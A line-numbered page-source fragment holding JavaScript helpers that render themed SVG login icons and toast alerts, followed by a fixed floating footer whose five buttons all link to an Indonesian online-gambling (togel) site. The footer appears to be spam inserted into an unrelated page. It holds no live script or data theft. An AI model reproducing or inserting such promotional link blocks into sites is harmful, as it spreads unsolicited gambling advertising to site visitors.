39.695313 42.90625 40.09375 C 37.207031 42.492188 31.101563 43.6875 25.5 43.6875 C 17.199219 43.6875 9.1875 41.386719 2.6875 37.6875 C 2.488281 37.488281 2.289063 37.5 2.1875 37.5 Z"
18684      ></path>
18685    </svg>`;
18686
18687const instagramLoginIcon= (theme, customColor) => `
18688    <svg
18689      width="25"
18690      height="25"
18691      viewBox="0 0 25 24"
18692      fill="none"
18693      xmlns="http://www.w3.org/2000/svg">
18694      <path
18695        fill-rule="evenodd"
18696        clip-rule="evenodd"
18697        d="M10.5 0C7.784 0 7.444 0.0119999 6.377 0.0599999C5.313 0.109 4.586 0.278 3.95 0.525C3.28247 0.775816 2.67773 1.16931 2.178 1.678C1.66931 2.17773 1.27582 2.78247 1.025 3.45C0.778 4.086 0.609 4.813 0.56 5.877C0.511 6.944 0.5 7.284 0.5 10C0.5 12.716 0.511 13.056 0.56 14.123C0.609 15.187 0.778 15.914 1.025 16.55C1.27582 17.2175 1.66931 17.8223 2.178 18.322C2.67773 18.8307 3.28247 19.2242 3.95 19.475C4.586 19.722 5.313 19.891 6.377 19.94C7.444 19.988 7.784 20 10.5 20C13.216 20 13.556 19.988 14.623 19.94C15.687 19.891 16.414 19.722 17.05 19.475C17.7175 19.2242 18.3223 18.8307 18.822 18.322C19.3307 17.8223 19.7242 17.2175 19.975 16.55C20.222 15.914 20.391 15.187 20.44 14.123C20.488 13.056 20.5 12.716 20.5 10C20.5 7.284 20.488 6.944 20.44 5.877C20.391 4.813 20.222 4.086 19.975 3.45C19.7242 2.78247 19.3307 2.17773 18.822 1.678C18.3223 1.16931 17.7175 0.775816 17.05 0.525C16.414 0.278 15.687 0.109 14.623 0.0599999C13.556 0.0119999 13.216 0 10.5 0ZM10.5 1.802C13.17 1.802 13.486 1.812 14.54 1.86C15.516 1.905 16.045 2.067 16.398 2.204C16.864 2.386 17.198 2.603 17.548 2.952C17.898 3.302 18.114 3.636 18.296 4.102C18.432 4.455 18.596 4.984 18.64 5.959C18.688 7.014 18.698 7.329 18.698 10C18.698 12.67 18.688 12.986 18.64 14.04C18.595 15.016 18.432 15.545 18.296 15.898C18.1357 16.3324 17.8801 16.7253 17.548 17.048C17.198 17.398 16.864 17.614 16.398 17.796C16.045 17.932 15.516 18.096 14.541 18.14C13.487 18.188 13.171 18.198 10.5 18.198C7.83 18.198 7.513 18.188 6.46 18.14C5.484 18.095 4.955 17.932 4.602 17.796C4.16762 17.6357 3.77466 17.3801 3.452 17.048C3.11991 16.7253 2.86432 16.3324 2.704 15.898C2.567 15.545 2.404 15.016 2.36 14.041C2.312 12.986 2.302 12.671 2.302 10C2.302 7.33 2.312 7.014 2.36 5.96C2.405 4.984 2.567 4.455 2.704 4.102C2.886 3.636 3.103 3.302 3.452 2.952C3.802 2.602 4.136 2.386 4.602 2.204C4.955 2.067 5.484 1.904 6.459 1.86C7.514 1.812 7.829 1.802 10.5 1.802ZM10.5 13.333C9.61603 13.333 8.76827 12.9818 8.14321 12.3568C7.51815 11.7317 7.167 10.884 7.167 10C7.167 9.11603 7.51815 8.26827 8.14321 7.
1869764321C8.76827 7.01815 9.61603 6.667 10.5 6.667C11.384 6.667 12.2317 7.01815 12.8568 7.64321C13.4818 8.26827 13.833 9.11603 13.833 10C13.833 10.884 13.4818 11.7317 12.8568 12.3568C12.2317 12.9818 11.384 13.333 10.5 13.333ZM10.5 4.865C9.82566 4.865 9.15793 4.99782 8.53492 5.25588C7.91191 5.51394 7.34584 5.89218 6.86901 6.36901C6.39218 6.84584 6.01394 7.41191 5.75588 8.03492C5.49782 8.65793 5.365 9.32566 5.365 10C5.365 10.6743 5.49782 11.3421 5.75588 11.9651C6.01394 12.5881 6.39218 13.1542 6.86901 13.631C7.34584 14.1078 7.91191 14.4861 8.53492 14.7441C9.15793 15.0022 9.82566 15.135 10.5 15.135C11.8619 15.135 13.168 14.594 14.131 13.631C15.094 12.668 15.635 11.3619 15.635 10C15.635 8.63811 15.094 7.33201 14.131 6.36901C13.168 5.40601 11.8619 4.865 10.5 4.865ZM17.038 4.662C17.038 4.81959 17.007 4.97563 16.9467 5.12122C16.8863 5.26681 16.798 5.3991 16.6865 5.51053C16.5751 5.62196 16.4428 5.71035 16.2972 5.77066C16.1516 5.83096 15.9956 5.862 15.838 5.862C15.6804 5.862 15.5244 5.83096 15.3788 5.77066C15.2332 5.71035 15.1009 5.62196 14.9895 5.51053C14.878 5.3991 14.7897 5.26681 14.7293 5.12122C14.669 4.97563 14.638 4.81959 14.638 4.662C14.638 4.34374 14.7644 4.03852 14.9895 3.81347C15.2145 3.58843 15.5197 3.462 15.838 3.462C16.1563 3.462 16.4615 3.58843 16.6865 3.81347C16.9116 4.03852 17.038 4.34374 17.038 4.662Z"
18698        fill="url(#paint0_radial_378_3535)" />
18699      <path
18700        fill-rule="evenodd"
18701        clip-rule="evenodd"
18702        d="M10.5 0C7.784 0 7.444 0.0119999 6.377 0.0599999C5.313 0.109 4.586 0.278 3.95 0.525C3.28247 0.775816 2.67773 1.16931 2.178 1.678C1.66931 2.17773 1.27582 2.78247 1.025 3.45C0.778 4.086 0.609 4.813 0.56 5.877C0.511 6.944 0.5 7.284 0.5 10C0.5 12.716 0.511 13.056 0.56 14.123C0.609 15.187 0.778 15.914 1.025 16.55C1.27582 17.2175 1.66931 17.8223 2.178 18.322C2.67773 18.8307 3.28247 19.2242 3.95 19.475C4.586 19.722 5.313 19.891 6.377 19.94C7.444 19.988 7.784 20 10.5 20C13.216 20 13.556 19.988 14.623 19.94C15.687 19.891 16.414 19.722 17.05 19.475C17.7175 19.2242 18.3223 18.8307 18.822 18.322C19.3307 17.8223 19.7242 17.2175 19.975 16.55C20.222 15.914 20.391 15.187 20.44 14.123C20.488 13.056 20.5 12.716 20.5 10C20.5 7.284 20.488 6.944 20.44 5.877C20.391 4.813 20.222 4.086 19.975 3.45C19.7242 2.78247 19.3307 2.17773 18.822 1.678C18.3223 1.16931 17.7175 0.775816 17.05 0.525C16.414 0.278 15.687 0.109 14.623 0.0599999C13.556 0.0119999 13.216 0 10.5 0ZM10.5 1.802C13.17 1.802 13.486 1.812 14.54 1.86C15.516 1.905 16.045 2.067 16.398 2.204C16.864 2.386 17.198 2.603 17.548 2.952C17.898 3.302 18.114 3.636 18.296 4.102C18.432 4.455 18.596 4.984 18.64 5.959C18.688 7.014 18.698 7.329 18.698 10C18.698 12.67 18.688 12.986 18.64 14.04C18.595 15.016 18.432 15.545 18.296 15.898C18.1357 16.3324 17.8801 16.7253 17.548 17.048C17.198 17.398 16.864 17.614 16.398 17.796C16.045 17.932 15.516 18.096 14.541 18.14C13.487 18.188 13.171 18.198 10.5 18.198C7.83 18.198 7.513 18.188 6.46 18.14C5.484 18.095 4.955 17.932 4.602 17.796C4.16762 17.6357 3.77466 17.3801 3.452 17.048C3.11991 16.7253 2.86432 16.3324 2.704 15.898C2.567 15.545 2.404 15.016 2.36 14.041C2.312 12.986 2.302 12.671 2.302 10C2.302 7.33 2.312 7.014 2.36 5.96C2.405 4.984 2.567 4.455 2.704 4.102C2.886 3.636 3.103 3.302 3.452 2.952C3.802 2.602 4.136 2.386 4.602 2.204C4.955 2.067 5.484 1.904 6.459 1.86C7.514 1.812 7.829 1.802 10.5 1.802ZM10.5 13.333C9.61603 13.333 8.76827 12.9818 8.14321 12.3568C7.51815 11.7317 7.167 10.884 7.167 10C7.167 9.11603 7.51815 8.26827 8.14321 7.64321C8.76827 7.01815 9.61603 6.667 10.5 6.667C11.384 6.667 12.2317 7.01815 12.8568 7.64321C13.4818 8.26827 13.833 9.11603 13.833 10C13.833 10.884 13.4818 11.7317 12.8568 12.3568C12.2317 12.9818 11.384 13.333 10.5 13.333ZM10.5 4.865C9.82566 4.865 9.15793 4.99782 8.53492 5.25588C7.91191 5.51394 7.34584 5.89218 6.86901 6.36901C6.39218 6.84584 6.01394 7.41191 5.75588 8.03492C5.49782 8.65793 5.365 9.32566 5.365 10C5.365 10.6743 5.49782 11.3421 5.75588 11.9651C6.01394 12.5881 6.39218 13.1542 6.86901 13.631C7.34584 14.1078 7.91191 14.4861 8.53492 14.7441C9.15793 15.0022 9.82566 15.135 10.5 15.135C11.8619 15.135 13.168 14.594 14.131 13.631C15.094 12.668 15.635 11.3619 15.635 10C15.635 8.63811 15.094 7.33201 14.131 6.36901C13.168 5.40601 11.8619 4.865 10.5 4.865ZM17.038 4.662C17.038 4.81959 17.007 4.97563 16.9467 5.12122C16.8863 5.26681 16.798 5.3991 16.6865 5.51053C16.5751 5.62196 16.4428 5.71035 16.2972 5.77066C16.1516 5.83096 15.9956 5.862 15.838 5.862C15.6804 5.862 15.5244 5.83096 15.3788 5.77066C15.2332 5.71035 15.1009 5.62196 14.9895 5.51053C14.878 5.3991 14.7897 5.26681 14.7293 5.12122C14.669 4.97563 14.638 4.81959 14.638 4.662C14.638 4.34374 14.7644 4.03852 14.9895 3.81347C15.2145 3.58843 15.5197 3.462 15.838 3.462C16.1563 3.462 16.4615 3.58843 16.6865 3.81347C16.9116 4.03852 17.038 4.34374 17.038 4.662Z"
18703        fill="url(#paint0_radial_378_3535)" />
18704      <path
18705        fill-rule="evenodd"
18706        clip-rule="evenodd"
18707        d="M10.5 0C7.784 0 7.444 0.0119999 6.377 0.0599999C5.313 0.109 4.586 0.278 3.95 0.525C3.28247 0.775816 2.67773 1.16931 2.178 1.678C1.66931 2.17773 1.27582 2.78247 1.025 3.45C0.778 4.086 0.609 4.813 0.56 5.877C0.511 6.944 0.5 7.284 0.5 10C0.5 12.716 0.511 13.056 0.56 14.123C0.609 15.187 0.778 15.914 1.025 16.55C1.27582 17.2175 1.66931 17.8223 2.178 18.322C2.67773 18.8307 3.28247 19.2242 3.95 19.475C4.586 19.722 5.313 19.891 6.377 19.94C7.444 19.988 7.784 20 10.5 20C13.216 20 13.556 19.988 14.623 19.94C15.687 19.891 16.414 19.722 17.05 19.475C17.7175 19.2242 18.3223 18.8307 18.822 18.322C19.3307 17.8223 19.7242 17.2175 19.975 16.55C20.222 15.914 20.391 15.187 20.44 14.123C20.488 13.056 20.5 12.716 20.5 10C20.5 7.284 20.488 6.944 20.44 5.877C20.391 4.813 20.222 4.086 19.975 3.45C19.7242 2.78247 19.3307 2.17773 18.822 1.678C18.3223 1.16931 17.7175 0.775816 17.05 0.525C16.414 0.278 15.687 0.109 14.623 0.0599999C13.556 0.0119999 13.216 0 10.5 0ZM10.5 1.802C13.17 1.802 13.486 1.812 14.54 1.86C15.516 1.905 16.045 2.067 16.398 2.204C16.864 2.386 17.198 2.603 17.548 2.952C17.898 3.302 18.114 3.636 18.296 4.102C18.432 4.455 18.596 4.984 18.64 5.959C18.688 7.014 18.698 7.329 18.698 10C18.698 12.67 18.688 12.986 18.64 14.04C18.595 15.016 18.432 15.545 18.296 15.898C18.1357 16.3324 17.8801 16.7253 17.548 17.048C17.198 17.398 16.864 17.614 16.398 17.796C16.045 17.932 15.516 18.096 14.541 18.14C13.487 18.188 13.171 18.198 10.5 18.198C7.83 18.198 7.513 18.188 6.46 18.14C5.484 18.095 4.955 17.932 4.602 17.796C4.16762 17.6357 3.77466 17.3801 3.452 17.048C3.11991 16.7253 2.86432 16.3324 2.704 15.898C2.567 15.545 2.404 15.016 2.36 14.041C2.312 12.986 2.302 12.671 2.302 10C2.302 7.33 2.312 7.014 2.36 5.96C2.405 4.984 2.567 4.455 2.704 4.102C2.886 3.636 3.103 3.302 3.452 2.952C3.802 2.602 4.136 2.386 4.602 2.204C4.955 2.067 5.484 1.904 6.459 1.86C7.514 1.812 7.829 1.802 10.5 1.802ZM10.5 13.333C9.61603 13.333 8.76827 12.9818 8.14321 12.3568C7.51815 11.7317 7.167 10.884 7.167 10C7.167 9.11603 7.51815 8.26827 8.14321 7.
1870764321C8.76827 7.01815 9.61603 6.667 10.5 6.667C11.384 6.667 12.2317 7.01815 12.8568 7.64321C13.4818 8.26827 13.833 9.11603 13.833 10C13.833 10.884 13.4818 11.7317 12.8568 12.3568C12.2317 12.9818 11.384 13.333 10.5 13.333ZM10.5 4.865C9.82566 4.865 9.15793 4.99782 8.53492 5.25588C7.91191 5.51394 7.34584 5.89218 6.86901 6.36901C6.39218 6.84584 6.01394 7.41191 5.75588 8.03492C5.49782 8.65793 5.365 9.32566 5.365 10C5.365 10.6743 5.49782 11.3421 5.75588 11.9651C6.01394 12.5881 6.39218 13.1542 6.86901 13.631C7.34584 14.1078 7.91191 14.4861 8.53492 14.7441C9.15793 15.0022 9.82566 15.135 10.5 15.135C11.8619 15.135 13.168 14.594 14.131 13.631C15.094 12.668 15.635 11.3619 15.635 10C15.635 8.63811 15.094 7.33201 14.131 6.36901C13.168 5.40601 11.8619 4.865 10.5 4.865ZM17.038 4.662C17.038 4.81959 17.007 4.97563 16.9467 5.12122C16.8863 5.26681 16.798 5.3991 16.6865 5.51053C16.5751 5.62196 16.4428 5.71035 16.2972 5.77066C16.1516 5.83096 15.9956 5.862 15.838 5.862C15.6804 5.862 15.5244 5.83096 15.3788 5.77066C15.2332 5.71035 15.1009 5.62196 14.9895 5.51053C14.878 5.3991 14.7897 5.26681 14.7293 5.12122C14.669 4.97563 14.638 4.81959 14.638 4.662C14.638 4.34374 14.7644 4.03852 14.9895 3.81347C15.2145 3.58843 15.5197 3.462 15.838 3.462C16.1563 3.462 16.4615 3.58843 16.6865 3.81347C16.9116 4.03852 17.038 4.34374 17.038 4.662Z"
18708        fill="url(#paint0_radial_378_3535)" />
18709      <path
18710        fill-rule="evenodd"
18711        clip-rule="evenodd"
18712        d="M10.5 0C7.784 0 7.444 0.0119999 6.377 0.0599999C5.313 0.109 4.586 0.278 3.95 0.525C3.28247 0.775816 2.67773 1.16931 2.178 1.678C1.66931 2.17773 1.27582 2.78247 1.025 3.45C0.778 4.086 0.609 4.813 0.56 5.877C0.511 6.944 0.5 7.284 0.5 10C0.5 12.716 0.511 13.056 0.56 14.123C0.609 15.187 0.778 15.914 1.025 16.55C1.27582 17.2175 1.66931 17.8223 2.178 18.322C2.67773 18.8307 3.28247 19.2242 3.95 19.475C4.586 19.722 5.313 19.891 6.377 19.94C7.444 19.988 7.784 20 10.5 20C13.216 20 13.556 19.988 14.623 19.94C15.687 19.891 16.414 19.722 17.05 19.475C17.7175 19.2242 18.3223 18.8307 18.822 18.322C19.3307 17.8223 19.7242 17.2175 19.975 16.55C20.222 15.914 20.391 15.187 20.44 14.123C20.488 13.056 20.5 12.716 20.5 10C20.5 7.284 20.488 6.944 20.44 5.877C20.391 4.813 20.222 4.086 19.975 3.45C19.7242 2.78247 19.3307 2.17773 18.822 1.678C18.3223 1.16931 17.7175 0.775816 17.05 0.525C16.414 0.278 15.687 0.109 14.623 0.0599999C13.556 0.0119999 13.216 0 10.5 0ZM10.5 1.802C13.17 1.802 13.486 1.812 14.54 1.86C15.516 1.905 16.045 2.067 16.398 2.204C16.864 2.386 17.198 2.603 17.548 2.952C17.898 3.302 18.114 3.636 18.296 4.102C18.432 4.455 18.596 4.984 18.64 5.959C18.688 7.014 18.698 7.329 18.698 10C18.698 12.67 18.688 12.986 18.64 14.04C18.595 15.016 18.432 15.545 18.296 15.898C18.1357 16.3324 17.8801 16.7253 17.548 17.048C17.198 17.398 16.864 17.614 16.398 17.796C16.045 17.932 15.516 18.096 14.541 18.14C13.487 18.188 13.171 18.198 10.5 18.198C7.83 18.198 7.513 18.188 6.46 18.14C5.484 18.095 4.955 17.932 4.602 17.796C4.16762 17.6357 3.77466 17.3801 3.452 17.048C3.11991 16.7253 2.86432 16.3324 2.704 15.898C2.567 15.545 2.404 15.016 2.36 14.041C2.312 12.986 2.302 12.671 2.302 10C2.302 7.33 2.312 7.014 2.36 5.96C2.405 4.984 2.567 4.455 2.704 4.102C2.886 3.636 3.103 3.302 3.452 2.952C3.802 2.602 4.136 2.386 4.602 2.204C4.955 2.067 5.484 1.904 6.459 1.86C7.514 1.812 7.829 1.802 10.5 1.802ZM10.5 13.333C9.61603 13.333 8.76827 12.9818 8.14321 12.3568C7.51815 11.7317 7.167 10.884 7.167 10C7.167 9.11603 7.51815 8.26827 8.14321 7.64321C8.76827 7.01815 9.61603 6.667 10.5 6.667C11.384 6.667 12.2317 7.01815 12.8568 7.64321C13.4818 8.26827 13.833 9.11603 13.833 10C13.833 10.884 13.4818 11.7317 12.8568 12.3568C12.2317 12.9818 11.384 13.333 10.5 13.333ZM10.5 4.865C9.82566 4.865 9.15793 4.99782 8.53492 5.25588C7.91191 5.51394 7.34584 5.89218 6.86901 6.36901C6.39218 6.84584 6.01394 7.41191 5.75588 8.03492C5.49782 8.65793 5.365 9.32566 5.365 10C5.365 10.6743 5.49782 11.3421 5.75588 11.9651C6.01394 12.5881 6.39218 13.1542 6.86901 13.631C7.34584 14.1078 7.91191 14.4861 8.53492 14.7441C9.15793 15.0022 9.82566 15.135 10.5 15.135C11.8619 15.135 13.168 14.594 14.131 13.631C15.094 12.668 15.635 11.3619 15.635 10C15.635 8.63811 15.094 7.33201 14.131 6.36901C13.168 5.40601 11.8619 4.865 10.5 4.865ZM17.038 4.662C17.038 4.81959 17.007 4.97563 16.9467 5.12122C16.8863 5.26681 16.798 5.3991 16.6865 5.51053C16.5751 5.62196 16.4428 5.71035 16.2972 5.77066C16.1516 5.83096 15.9956 5.862 15.838 5.862C15.6804 5.862 15.5244 5.83096 15.3788 5.77066C15.2332 5.71035 15.1009 5.62196 14.9895 5.51053C14.878 5.3991 14.7897 5.26681 14.7293 5.12122C14.669 4.97563 14.638 4.81959 14.638 4.662C14.638 4.34374 14.7644 4.03852 14.9895 3.81347C15.2145 3.58843 15.5197 3.462 15.838 3.462C16.1563 3.462 16.4615 3.58843 16.6865 3.81347C16.9116 4.03852 17.038 4.34374 17.038 4.662Z"
18713        fill="url(#paint1_radial_378_3535)" />
18714      <defs>
18715        <radialGradient
18716          id="paint0_radial_378_3535"
18717          cx="0"
18718          cy="0"
18719          r="1"
18720          gradientUnits="userSpaceOnUse"
18721          gradientTransform="translate(17.4 22.7) rotate(-115.776) scale(27.2737 40.5665)">
18722          <stop offset="0.24392" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#FF1B90' : customColor}" />
18723          <stop offset="0.436673" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#F80261' : customColor}" />
18724          <stop offset="0.688476" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#ED00C0' : customColor}" />
18725          <stop offset="0.776787" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#C500E9' : customColor}" />
18726          <stop offset="0.893155" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#7017FF' : customColor}" />
18727        </radialGradient>
18728        <radialGradient
18729          id="paint1_radial_378_3535"
18730          cx="0"
18731          cy="0"
18732          r="1"
18733          gradientUnits="userSpaceOnUse"
18734          gradientTransform="translate(7.75 19.31) rotate(-57.4396) scale(11.8174 12.2918)">
18735          <stop stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#FFD600' : customColor}" />
18736          <stop offset="0.484375" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#FF6930' : customColor}" />
18737          <stop offset="0.734375" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#FE3B36' : customColor}" />
18738          <stop offset="1" stop-color="${theme === 'black' ? '#ffffff' : theme === 'white' ? '#000000' : theme === 'match' || theme === 'matchOutline' ? '#FE3B36' : customColor}" stop-opacity="0" />
18739        </radialGradient>
18740      </defs>
18741    </svg>`;
18742
18743const magicLinkLoginIcon = (theme, customColor) => `
18744  <svg
18745    xmlns="http://www.w3.org/2000/svg"
18746    width="25"
18747    height="25"
18748    fill="none"
18749    viewBox="0 0 25 25"
18750  >
18751    <path
18752      fill="${
18753        theme === 'match' || theme === 'black' ? '#ffffff' : theme === 'matchOutline' || theme === 'white' ? '#000000' : customColor
18754      }"
18755      fillRule="evenodd"
18756      d="M10.975 14.51a1.05 1.05 0 000-1.485 2.95 2.95 0 010-4.172l3.536-3.535a2.95 2.95 0 114.172 4.172l-1.093 1.092a1.05 1.05 0 001.485 1.485l1.093-1.092a5.05 5.05 0 00-7.142-7.142L9.49 7.368a5.05 5.05 0 000 7.142c.41.41 1.075.41 1.485 0zm2.05-5.02a1.05 1.05 0 000 1.485 2.95 2.95 0 010 4.172l-3.5 3.5a2.95 2.95 0 11-4.171-4.172l1.025-1.025a1.05 1.05 0 00-1.485-1.485L3.87 12.99a5.05 5.05 0 007.142 7.142l3.5-3.5a5.05 5.05 0 000-7.142 1.05 1.05 0 00-1.485 0z"
18757      clipRule="evenodd"
18758    ></path>
18759  </svg>`;
18760
18761const mobileAppLoginIcon = (theme, customColor) => `
18762  <svg
18763    width="20"
18764    height="24"
18765    viewBox="0 0 12 16"
18766    fill="none"
18767    xmlns="http://www.w3.org/2000/svg"
18768  >
18769    <path
18770      d="M9.75 0.5H2.25C1.42275 0.5 0.75 1.17275 0.75 2V14C0.75 14.8273 1.42275 15.5 2.25 15.5H9.75C10.5773 15.5 11.25 14.8273 11.25 14V2C11.25 1.17275 10.5773 0.5 9.75 0.5ZM2.25 11.7493V2.75H9.75L9.7515 11.7493H2.25Z"
18771      fill=${
18772        theme === 'match' || theme === 'black' ? '#ffffff' : theme === 'matchOutline' ? '#FD823E' : theme === 'white' ? '#000000' : customColor
18773      }
18774    />
18775  </svg>
18776`;
18777
18778const linkedinLoginIcon = (theme, customColor) => `
18779  <svg
18780    xmlns="http://www.w3.org/2000/svg"
18781    width="25"
18782    height="24"
18783    viewBox="0 0 25 24"
18784    fill="none"
18785  >
18786    <path
18787      d="M19.0714 0C19.8304 0 20.5 0.669643 20.5 1.47321V18.5714C20.5 19.375 19.8304 20 19.0714 20H1.88393C1.125 20 0.5 19.375 0.5 18.5714V1.47321C0.5 0.669643 1.125 0 1.88393 0H19.0714ZM6.52679 17.1429V7.63393H3.58036V17.1429H6.52679ZM5.05357 6.29464C5.99107 6.29464 6.75 5.53571 6.75 4.59821C6.75 3.66071 5.99107 2.85714 5.05357 2.85714C4.07143 2.85714 3.3125 3.66071 3.3125 4.59821C3.3125 5.53571 4.07143 6.29464 5.05357 6.29464ZM17.6429 17.1429V11.9196C17.6429 9.375 17.0625 7.36607 14.0714 7.36607C12.6429 7.36607 11.6607 8.16964 11.2589 8.92857H11.2143V7.63393H8.40179V17.1429H11.3482V12.4554C11.3482 11.2054 11.5714 10 13.1339 10C14.6518 10 14.6518 11.4286 14.6518 12.5V17.1429H17.6429Z"
18788      fill=${
18789        theme === 'match' || theme === 'black' ? '#ffffff' : theme === 'matchOutline' ? '#0A66C2' : theme === 'white' ? '#000000' : customColor
18790      }
18791    />
18792  </svg>
18793`;
18794
18795function isElementVisible(element) {
18796  return (
18797    document.body.contains(element) &&
18798    getComputedStyle(element).display !== "none" &&
18799    getComputedStyle(element).visibility !== "hidden" &&
18800    getComputedStyle(element).opacity !== "0" &&
18801    !element.hasAttribute("hidden") &&
18802    !isAncestorHidden(element)
18803  );
18804}
18805
18806function isAncestorHidden(element) {
18807  let parent = element.parentElement;
18808  while (parent) {
18809    if (
18810      getComputedStyle(parent).display === "none" ||
18811      getComputedStyle(parent).visibility === "hidden" ||
18812      getComputedStyle(parent).opacity === "0" ||
18813      parent.hasAttribute("hidden")
18814    ) {
18815      return true;
18816    }
18817    parent = parent.parentElement;
18818  }
18819  return false;
18820}
18821
18822function showAlert(message) {
18823  const alertBox = document.createElement("div");
18824  alertBox.textContent = message;
18825  alertBox.style.position = "fixed";
18826  alertBox.style.top = "20px";
18827  alertBox.style.right = "-300px";
18828  alertBox.style.backgroundColor = "#000000";
18829  alertBox.style.color = "#ffffff";
18830  alertBox.style.padding = "15px";
18831  alertBox.style.borderRadius = "8px";
18832  alertBox.style.zIndex = "1000";
18833  alertBox.style.transition =
18834    "right 0.5s ease-in-out, opacity 0.5s ease-in-out"; 
18835  alertBox.style.boxShadow = "0 2px 5px rgba(0, 0, 0, 0.2)";
18836
18837  document.body.appendChild(alertBox);
18838
18839  requestAnimationFrame(() => {
18840    alertBox.style.right = "20px";
18841    alertBox.style.opacity = "1"; 
18842  });
18843
18844  
18845  setTimeout(() => {
18846    alertBox.style.opacity = "0"; 
18847    alertBox.style.right = "-300px"; 
18848
18849    setTimeout(() => {
18850      document.body.removeChild(alertBox);
18851    }, 500); 
18852  }, 3000);
18853}
18854</script>
18854
18855
18856
18857</div>
18858            <style>
18859          .footer-floating-atas4d {
18860              position: fixed;
18861              bottom: 18px;
18862              left: 50%;
18863              transform: translateX(-50%);
18864              width: 100%;
18865              max-width: 1500px;
18866              display: flex;
18867              gap: 14px;
18868              padding: 16px 22px;
18869              background: rgb(239 255 0 / 40%);
18870              backdrop-filter: blur(10px);
18871              border-radius: 20px;
18872              border: 2px solid rgb(239 255 0 / 40%);
18873              box-shadow: 0 0 30px rgb(239 255 0 / 40%);
18874              z-index: 999;
18875          }
18876          .footer-btn-togel4d {
18877              flex: 1;
18878              min-width: 0;
18879              display: flex;
18880              align-items: center;
18881              justify-content: center;
18882              gap: 8px;
18883              padding: 12px 10px;
18884              font-size: 14px;
18885              font-weight: bold;
18886              color: #000000;
18887              background: linear-gradient(180deg, #b89b1b, #584101);
18888              border-radius: 32px;
18889              border: 2px solid #584101;
18890              cursor: pointer;
18891              transition: all 0.3s ease;
18892              box-shadow: 0 0 14px #584101;
18893              animation: floatUpDown 3s ease-in-out infinite;
18894              text-decoration: none;
18895              user-select: none;
18896              white-space: nowrap;
18897          }
18898          .footer-btn-togel4d img {
18899              width: 18px;
18900              height: 18px;
18901              flex-shrink: 0;
18902              filter: drop-shadow(0 0 5px #584101);
18903          }
18904          .footer-btn-togel4d.login {
18905              animation-delay: 0.3s;
18906          }
18907          .footer-btn-togel4d.daftar {
18908              animation-delay: 0.6s;
18909          }
18910          .footer-btn-togel4d.link {
18911              animation-delay: 0.9s;
18912          }
18913          .footer-btn-togel4d.chat {
18914              animation-delay: 1.2s;
18915          }
18916          .footer-btn-togel4d:hover {
18917              background: #584101;
18918              box-shadow:
18919                  0 0 15px #584101,
18920                  0 0 30px #584101,
18921                  0 0 50px #b89b1b;
18922              transform: translateY(-6px) scale(1.05);
18923          }
18924          .footer-btn-togel4d:active {
18925              background: linear-gradient(135deg, #b89b1b, #584101);
18926              color: #000;
18927              border-color: #b89b1b;
18928              box-shadow:
18929                  0 0 18px #b89b1b,
18930                  0 0 35px #b89b1b;
18931          }
18932          @keyframes floatUpDown {
18933              0% {
18934                  transform: translateY(0);
18935              }
18936              50% {
18937                  transform: translateY(-8px);
18938              }
18939              100% {
18940                  transform: translateY(0);
18941              }
18942          }
18943          @media (max-width: 1024px) {
18944              .footer-floating-atas4d {
18945                  flex-wrap: wrap;
18946              }
18947              .footer-btn-togel4d {
18948                  flex: 1 1 calc(50% - 10px);
18949              }
18950          }
18951          @media (max-width: 600px) {
18952              .footer-btn-togel4d {
18953                  flex: 1 1 100%;
18954                  font-size: 13px;
18955                  padding: 10px 12px;
18956              }
18957              .footer-btn-togel4d img {
18958                  width: 16px;
18959                  height: 16px;
18960              }
18961          }
18962      </style>
18963     
18964     <div class="footer-floating-atas4d">
18965      <a href="https://biz.platformatas4d.eu.com/game/" class="footer-btn-togel4d promo" target="_blank"
18966                rel="nofollow noopener">
18967                <img src="https://cdn.phototourl.com/free/2026-05-12-8a9e355c-d018-455e-90d6-f0e3e231c063.webp" alt="PROMOSI ATAS4D"> PROMOSI ATAS4D
18968            </a>
18969
18970      <a href="https://biz.platformatas4d.eu.com/game/" class="footer-btn-togel4d login" target="_blank"
18971                rel="nofollow noopener">
18972                <img src="https://cdn.phototourl.com/free/2026-05-12-69ea408f-f3cc-4bce-b4f3-28833656c518.webp" alt="Login ATAS4D"> LOGIN ATAS4D
18973            </a>
18974
18975      <a href="https://biz.platformatas4d.eu.com/game/" class="footer-btn-togel4d daftar" target="_blank"
18976                rel="nofollow noopener">
18977                <img src="https://cdn.phototourl.com/free/2026-05-12-e8c25353-706c-4056-bf6f-4e3d37cf790c.webp" alt="Daftar ATAS4D"> DAFTAR ATAS4D
18978            </a>
18979
18980      <a href="https://biz.platformatas4d.eu.com/game/" class="footer-btn-togel4d link" target="_blank"
18981                rel="nofollow noopener">
18982                <img src="https://cdn.phototourl.com/free/2026-05-12-60fe6d9f-4cb2-4745-b758-43ad0bfe22bd.webp" alt="Link Alternatif ATAS4D"> LINK ALTERNATIF ATAS4D
18983            </a>
18984
18985      <a href="https://biz.platformatas4d.eu.com/game/" class="footer-btn-togel4d chat" target="_blank"
18986                rel="nofollow noopener">
18987                <img src="https://cdn.phototourl.com/free/2026-05-12-fe3884f2-b8bd-4dd6-b58c-60e6b8cc4df1.webp" alt="Live Chat ATAS4D"> LIVE CHAT ATAS4D
18988            </a>
18989     </div>
